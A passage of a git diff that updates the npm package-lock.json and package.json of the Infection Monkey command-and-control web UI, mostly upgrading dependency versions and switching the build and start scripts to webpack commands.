"https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "requires": { + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "1.0.2" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "requires": { + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "find-up": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", + "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", + "dev": true, + "requires": { + "locate-path": "2.0.0" + } + }, + "fsevents": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", + "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", + "dev": true, + "optional": true, + "requires": { + "nan": "2.10.0", + "node-pre-gyp": "0.10.0" + }, + "dependencies": { + "abbrev": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "optional": true + }, + "ansi-regex": { + "version": "2.1.1", + "bundled": true, + "dev": true + }, + "aproba": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "optional": true + }, + "are-we-there-yet": { + "version": "1.1.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "delegates": "1.0.0", + "readable-stream": "2.3.6" + } + }, + "balanced-match": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + } + }, + "chownr": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "code-point-at": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "console-control-strings": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "core-util-is": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "debug": { + "version": "2.6.9", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "ms": "2.0.0" + } + }, + "deep-extend": { + "version": "0.5.1", + "bundled": true, + "dev": true, + "optional": true + }, + "delegates": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "detect-libc": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "optional": true + }, + "fs-minipass": { + "version": "1.2.5", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minipass": "2.2.4" + } + }, + "fs.realpath": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "gauge": { + "version": "2.7.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" + } + }, + "glob": { + "version": "7.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" + } + }, + "has-unicode": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "iconv-lite": { + "version": "0.4.21", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "safer-buffer": "2.1.2" + } + }, + "ignore-walk": { + "version": "3.0.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minimatch": "3.0.4" + } + }, + "inflight": { + "version": "1.0.6", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "once": "1.4.0", + "wrappy": "1.0.2" + } + }, + "inherits": { + "version": "2.0.3", + "bundled": true, + "dev": true + }, + "ini": { + "version": "1.3.5", + "bundled": true, + "dev": true, + "optional": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "requires": { + "number-is-nan": "1.0.1" + } + }, + "isarray": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "dev": true, + "requires": { + "brace-expansion": "1.1.11" + } + }, + "minimist": { + "version": "0.0.8", + "bundled": true, + "dev": true + }, + "minipass": { + "version": "2.2.4", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "5.1.1", + "yallist": "3.0.2" + } + }, + "minizlib": { + "version": "1.1.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minipass": "2.2.4" + } + }, + "mkdirp": { + "version": "0.5.1", + "bundled": true, + "dev": true, + "requires": { + "minimist": "0.0.8" + } + }, + "ms": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "needle": { + "version": "2.2.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "debug": "2.6.9", + "iconv-lite": "0.4.21", + "sax": "1.2.4" + } + }, + "node-pre-gyp": { + "version": "0.10.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "detect-libc": "1.0.3", + "mkdirp": "0.5.1", + "needle": "2.2.0", + "nopt": "4.0.1", + "npm-packlist": "1.1.10", + "npmlog": "4.1.2", + "rc": "1.2.7", + "rimraf": "2.6.2", + "semver": "5.5.0", + "tar": "4.4.1" + } + }, + "nopt": { + "version": "4.0.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "abbrev": "1.1.1", + "osenv": "0.1.5" + } + }, + "npm-bundled": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "optional": true + }, + "npm-packlist": { + "version": "1.1.10", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.3" + } + }, + "npmlog": { + "version": "4.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "are-we-there-yet": "1.1.4", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" + } + }, + "number-is-nan": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "object-assign": { + "version": "4.1.1", + "bundled": true, + "dev": true, + "optional": true + }, + "once": { + "version": "1.4.0", + "bundled": true, + "dev": true, + "requires": { + "wrappy": "1.0.2" + } + }, + "os-homedir": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "os-tmpdir": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "osenv": { + "version": "0.1.5", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" + } + }, + "path-is-absolute": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "process-nextick-args": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "rc": { + "version": "1.2.7", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" + }, + "dependencies": { + "minimist": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "optional": true + } + } + }, + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "rimraf": { + "version": "2.6.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "glob": "7.1.2" + } + }, + "safe-buffer": { + "version": "5.1.1", + "bundled": true, + "dev": true + }, + "safer-buffer": { + "version": "2.1.2", + "bundled": true, + "dev": true, + "optional": true + }, + "sax": { + "version": "1.2.4", + "bundled": true, + "dev": true, + "optional": true + }, + "semver": { + "version": "5.5.0", + "bundled": true, + "dev": true, + "optional": true + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "safe-buffer": "5.1.1" + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "dev": true, + "requires": { + "ansi-regex": "2.1.1" + } + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "tar": { + "version": "4.4.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "chownr": "1.0.1", + "fs-minipass": "1.2.5", + "minipass": "2.2.4", + "minizlib": "1.1.0", + "mkdirp": "0.5.1", + "safe-buffer": "5.1.1", + "yallist": "3.0.2" + } + }, + "util-deprecate": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "wide-align": { + "version": "1.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "string-width": "1.0.2" + } + }, + "wrappy": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "yallist": { + "version": "3.0.2", + "bundled": true, + "dev": true + } + } + }, + "glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "dev": true, + "requires": { + "is-glob": "3.1.0", + "path-dirname": "1.0.2" + }, + "dependencies": { + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "dev": true, + "requires": { + "is-extglob": "2.1.1" + } + } + } + }, + "globby": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-6.1.0.tgz", + "integrity": "sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=", + "dev": true, + "requires": { + "array-union": "1.0.2", + "glob": "7.1.2", + "object-assign": "4.1.1", + "pify": "2.3.0", + "pinkie-promise": "2.0.1" + }, + "dependencies": { + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", + "dev": true + } + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true + }, + "is-glob": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", + "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", + "dev": true, + "requires": { + "is-extglob": "2.1.1" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + } + }, + "nan": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.10.0.tgz", + "integrity": "sha512-bAdJv7fBLhWC+/Bls0Oza+mvTaNQtP+1RyhhhvD95pgUJz6XM5IzgmxOkItJ9tkoCiplvAnXI1tNmmUD/eScyA==", + "dev": true, + "optional": true + }, + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "3.0.0" + } + }, + "url-join": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.0.tgz", + "integrity": "sha1-TTNA6AfTdzvamZH4MFrNzCpmXSo=", + "dev": true + }, + "webpack-dev-middleware": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.1.3.tgz", + "integrity": "sha512-I6Mmy/QjWU/kXwCSFGaiOoL5YEQIVmbb0o45xMoCyQAg/mClqZVTcsX327sPfekDyJWpCxb+04whNyLOIxpJdQ==", + "dev": true, + "requires": { + "loud-rejection": "1.6.0", + "memory-fs": "0.4.1", + "mime": "2.3.1", + "path-is-absolute": "1.0.1", + "range-parser": "1.2.0", + "url-join": "4.0.0", + "webpack-log": "1.2.0" + } + }, + "yargs": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.0.0.tgz", + "integrity": "sha512-Rjp+lMYQOWtgqojx1dEWorjCofi1YN7AoFvYV7b1gx/7dAAeuI4kN5SZiEvr0ZmsZTOpDRcCqrpI10L31tFkBw==", + "dev": true, + "requires": { + "cliui": "4.1.0", + "decamelize": "1.2.0", + "find-up": "2.1.0", + "get-caller-file": "1.0.3", + "os-locale": "2.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "9.0.2" } } } }, - "websocket-driver": { - "version": "0.6.5", - "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.6.5.tgz", - "integrity": "sha1-XLJVbOuF9Dc8bYI4qmkchFThOjY=", + "webpack-log": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/webpack-log/-/webpack-log-1.2.0.tgz", + "integrity": "sha512-U9AnICnu50HXtiqiDxuli5gLB5PGBo7VvcHx36jRZHwK4vzOYLbImqT4lwWwoMHdQWwEKw736fCHEekokTEKHA==", "dev": true, "requires": { - "websocket-extensions": "0.1.1" + "chalk": "2.4.1", + "log-symbols": "2.2.0", + "loglevelnext": "1.0.5", + "uuid": "3.2.1" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "3.0.0" + } + } + } + }, + "webpack-sources": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.1.0.tgz", + "integrity": "sha512-aqYp18kPphgoO5c/+NaUvEeACtZjMESmDChuD3NBciVpah3XpMEU9VAAtIaB1BsfJWWTSdv8Vv1m3T0aRk2dUw==", + "dev": true, + "requires": { + "source-list-map": "2.0.0", + "source-map": "0.6.1" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + } + } + }, + "websocket-driver": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.0.tgz", + "integrity": "sha1-DK+dLXVdk67gSdS90NP+LMoqJOs=", + "dev": true, + "requires": { + "http-parser-js": "0.4.13", + "websocket-extensions": "0.1.3" } }, "websocket-extensions": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.1.tgz", - "integrity": "sha1-domUmcGEtu91Q3fC27DNbLVdKec=", + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.3.tgz", + "integrity": "sha512-nqHUnMXmBzT0w570r2JpJxfiSD1IzoI+HGVdd3aZ0yNi3ngvQ4jv1dtHt5VGxfI2yj5yqImPhOK4vmIh2xMbGg==", "dev": true }, "whatwg-fetch": { @@ -13432,12 +18784,6 @@ "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz", "integrity": "sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==" }, - "whet.extend": { - "version": "0.9.9", - "resolved": "https://registry.npmjs.org/whet.extend/-/whet.extend-0.9.9.tgz", - "integrity": "sha1-+HfVv2SMl+WqVC+twW1qJZucEaE=", - "dev": true - }, "which": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz", @@ -13447,11 +18793,18 @@ "isexe": "2.0.0" } }, + "which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", + "dev": true + }, "window-size": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz", "integrity": "sha1-VDjNLqk7IC76Ohn+iIeu58lPnJ0=", - "dev": true + "dev": true, + "optional": true }, "wordwrap": { "version": "1.0.0", @@ -13459,6 +18812,47 @@ "integrity": "sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=", "dev": true }, + "worker-farm": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.6.0.tgz", + "integrity": "sha512-6w+3tHbM87WnSWnENBUvA2pxJPLhQUg5LKwUQHq3r+XPhIM+Gh2R5ycbwPCyuGbNg+lPgdcnQUhuC02kJCvffQ==", + "dev": true, + "requires": { + "errno": "0.1.7" + } + }, + "wrap-ansi": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", + "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", + "dev": true, + "requires": { + "string-width": "1.0.2", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "dev": true, + "requires": { + "number-is-nan": "1.0.1" + } + }, + "string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "dev": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + } + } + } + }, "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", @@ -13475,25 +18869,26 @@ } }, "ws": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/ws/-/ws-1.1.2.tgz", - "integrity": "sha1-iiRPoFJAHgjJiGz0SoUYnh/UBn8=", + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-3.3.3.tgz", + "integrity": "sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==", "dev": true, "requires": { - "options": "0.0.6", - "ultron": "1.0.2" + "async-limiter": "1.0.0", + "safe-buffer": "5.1.1", + "ultron": "1.1.1" } }, - "wtf-8": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/wtf-8/-/wtf-8-1.0.0.tgz", - "integrity": "sha1-OS2LotDxw00e4tYw8V0O+2jhBIo=", + "xmlhttprequest-ssl": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-1.5.5.tgz", + "integrity": "sha1-wodrBhaKrcQOV9l+gRkayPQ5iz4=", "dev": true }, - "xmlhttprequest-ssl": { - "version": "1.5.3", - "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-1.5.3.tgz", - "integrity": "sha1-GFqIjATspGw+QHDZn3tJ3jUomS0=", + "xregexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/xregexp/-/xregexp-4.0.0.tgz", + "integrity": "sha512-PHyM+sQouu7xspQQwELlGwwd05mXUFqwFYfqPO0cC7x4fxyHnnuetmQr6CjJiafIDoH4MogHb9dOoJzR/Y4rFg==", "dev": true }, "xtend": { @@ -13502,11 +18897,24 @@ "integrity": "sha1-pcbVMr5lbiPbgg77lDofBJmNY68=", "dev": true }, + "y18n": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", + "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=", + "dev": true + }, + "yallist": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", + "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", + "dev": true + }, "yargs": { "version": "3.10.0", "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.10.0.tgz", "integrity": "sha1-9+572FfdfB0tOMDnTvvWgdFDH9E=", "dev": true, + "optional": true, "requires": { "camelcase": "1.2.1", "cliui": "2.1.0", @@ -13514,6 +18922,23 @@ "window-size": "0.1.0" } }, + "yargs-parser": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-9.0.2.tgz", + "integrity": "sha1-nM9qQ0YP5O1Aqbto9I1DuKaMwHc=", + "dev": true, + "requires": { + "camelcase": "4.1.0" + }, + "dependencies": { + "camelcase": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", + "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", + "dev": true + } + } + }, "yauzl": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.4.1.tgz", diff --git a/monkey_island/cc/ui/package.json b/monkey_island/cc/ui/package.json index 38c8463fb..8806854fc 100644 --- a/monkey_island/cc/ui/package.json +++ b/monkey_island/cc/ui/package.json @@ -2,11 +2,10 @@ "private": true, "version": "1.0.0", "description": "Infection Monkey C&C UI", - "main": "", "scripts": { "clean": "rimraf dist/*", "copy": "copyfiles -f ./src/index.html ./src/favicon.ico ./dist", - "dist": "npm run copy & webpack --env=dist", + "dist": "webpack --mode production", "lint": "eslint ./src", "posttest": "npm run lint", "release:major": "npm version major && npm publish && git push --follow-tags", @@ -14,7 +13,7 @@ "release:patch": "npm version patch && npm publish && git push --follow-tags", "serve": "node server.js --env=dev", "serve:dist": "node server.js --env=dist", - "start": "node server.js --env=dev", + "start": "webpack-dev-server --mode development --open --history-api-fallback --port 8000", "test": "karma start", "test:watch": "karma start --autoWatch=true --singleRun=false" }, @@ -22,71 +21,76 @@ "keywords": [], "author": "Guardicore", "devDependencies": { - "babel-core": "^6.26.0", - "babel-eslint": "^6.0.0", - "babel-loader": "^6.4.1", + "babel-cli": "^6.26.0", + "babel-core": "^6.26.3", + "babel-eslint": "^8.2.6", + "babel-loader": "^7.1.5", "babel-polyfill": "^6.26.0", + "babel-preset-env": "^1.7.0", "babel-preset-es2015": "^6.24.1", "babel-preset-react": "^6.24.1", "babel-preset-stage-0": "^6.5.0", "bower-webpack-plugin": "^0.1.9", - "chai": "^3.2.0", - "copyfiles": "^1.0.0", - "css-loader": "^0.23.1", - "eslint": "^3.0.0", - "eslint-loader": "^1.0.0", - "eslint-plugin-react": "^6.0.0", - "file-loader": "^0.9.0", + "chai": "^4.1.2", + "copyfiles": "^2.0.0", + "css-loader": "^1.0.0", + "eslint": "^5.3.0", + "eslint-loader": "^2.1.0", + "eslint-plugin-react": "^7.11.1", + "file-loader": "^1.1.11", "glob": "^7.0.0", - "karma": "^1.7.1", + "html-loader": "^0.5.5", + "html-webpack-plugin": "^3.2.0", + "karma": "^3.0.0", "karma-chai": "^0.1.0", - "karma-coverage": "^1.0.0", + "karma-coverage": "^1.1.2", "karma-mocha": "^1.0.0", "karma-mocha-reporter": "^2.2.5", 